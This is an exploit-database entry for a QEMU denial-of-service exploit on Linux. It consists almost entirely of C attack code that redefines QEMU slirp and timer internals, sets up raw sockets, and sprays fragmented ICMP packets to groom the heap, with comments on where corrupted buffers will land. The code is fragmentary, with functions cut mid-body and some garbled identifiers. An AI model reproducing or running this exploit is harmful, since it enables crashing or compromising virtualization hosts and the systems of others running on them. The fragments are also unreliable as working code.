Exploits / Vulnerability Discovered : 2019-08-20 |
Type : dos |
Platform : linux
This exploit / vulnerability Qemu denial of service is for educational purposes only and if it is used you will do on your own risk!
struct mbuf {
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */
int m_size; /* Size of mbuf, from m_dat or m_ext */
struct socket *m_so;
char * m_data; /* Current location of data */
int m_len; /* Amount of data in this mbuf, from m_data */
void *slirp;
char resolution_requested;
u_int64_t expiration_date;
char *m_ext;
/* start of dynamic buffer area, must be last element */
char * m_dat;
};
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
void *timer_list;
void *cb;
void *opaque;
void *next;
int scale;
};
struct QEMUTimerList {
void * clock;
char active_timers_lock[0x38];
struct QEMUTimer *active_timers;
struct QEMUTimerList *le_next; /* next element */ \
struct QEMUTimerList **le_prev; /* address of previous next element */ \
void *notify_cb;
void *notify_opaque;
/* lightweight method to mark the end of timerlist's running */
size_t timers_done_ev;
};
/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;
}
/*
* Add back carry outs from top 16 bits to low 16 bits.
*/
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return(answer);
}
void hex_dump(char *desc, void *addr, int len)
{
int i;
unsigned char buff[17];
unsigned char *pc = (unsigned char*)addr;
if (desc != NULL)
printf ("%s:\n", desc);
for (i = 0; i < len; i++) {
if ((i % 16) == 0) {
if (i != 0)
printf(" %s\n", buff);
printf(" %04x ", i);
}
printf(" %02x", pc[i]);
if ((pc[i] < 0x20) || (pc[i] > 0x7e)) {
buff[i % 16] = '.';
} else {
buff[i % 16] = pc[i];
}
buff[(i % 16) + 1] = '\0';
}
while ((i % 16) != 0) {
printf(" ");
i++;
}
printf(" %s\n", buff);
}
char * ethernet_header(char * eth_hdr){
/* src MAC : 52:54:00:12:34:56 */
memcpy(ð_hdr[6],mac,6);
// Next is ethernet type code (ETH_P_IP for IPv4).
// http://www.iana.org/assignments/ethernet-numbers
eth_hdr[12] = ETH_P_IP / 256;
eth_hdr[13] = ETH_P_IP % 256;
return eth_hdr;
}
void initialize() {
int sd;
struct ifreq ifr;
char interface[40];
int mtu;
srand(time(NULL));
strcpy (interface, INTERFACE);
// Submit request for a socket descriptor to look up interface.
if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
die("socket() failed to get socket descriptor for using ioctl()");
}
// Use ioctl() to get interface maximum transmission unit (MTU).
memset (&ifr, 0, sizeof (ifr));
strcpy (ifr.ifr_name, interface);
if (ioctl (sd, SIOCGIFMTU, &ifr) < 0) {
die("ioctl() failed to get MTU ");
}
mtu = ifr.ifr_mtu;
printf ("MTU of interface %s : %i\n", interface, mtu);
if (mtu < MIN_MTU) {
printf("Run\n$ ip link set dev %s mtu 12000\n",interface);
die("");
}
// Use ioctl() to look up interface name and get its MAC address.
memset (&ifr, 0, sizeof (ifr));
snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
if (ioctl (sd, SIOCGIFHWADDR, &ifr) < 0) {
die("ioctl() failed to get source MAC address ");
}
memcpy (mac, ifr.ifr_hwaddr.sa_data, 6 * sizeof (uint8_t));
printf ("MAC %s :", interface);
for (int i=0; i<5; i++) {
printf ("%02x:", mac[i]);
}
printf ("%02x\n", mac[5]);
// Use ioctl() to look up interface index which we will use to
// bind socket descriptor sd to specified interface with setsockopt() since
// none of the other arguments of sendto() specify which interface to use.
memset (&ifr, 0, sizeof (ifr));
snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
if (ioctl (sd, SIOCGIFINDEX, &ifr) < 0) {
die("ioctl() failed to find interface ");
}
close (sd);
printf ("Index for interface %s : %i\n", interface, ifr.ifr_ifindex);
idx = ifr.ifr_ifindex;
if((raw_socket = socket(PF_PACKET, SOCK_RAW, htons (ETH_P_ALL)))==-1)
die("socket() failed to obtain raw socket");
/* Bind socket to interface index. */
if (setsockopt (raw_socket, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof (ifr)) < 0) {
die("setsockopt() failed to bind to interface ");
}
printf("Initialized socket discriptors\n");
}
void spray(uint32_t size, u_int32_t count) {
printf("Spraying 0x%x x ICMP[0x%x]\n",count,size);
int s;
u_int16_t frag_off;
char * data;
for (int i = 0; i < count; i++) {
send_icmp(spray_id + i,size, NULL, IP_MF);
}
}
// The mbuf of this packet will be placed in the second hole and
// m_ext buff will be placed on the first hole, We will write wrt
// to this.
send_pkt(pkt,frame_length);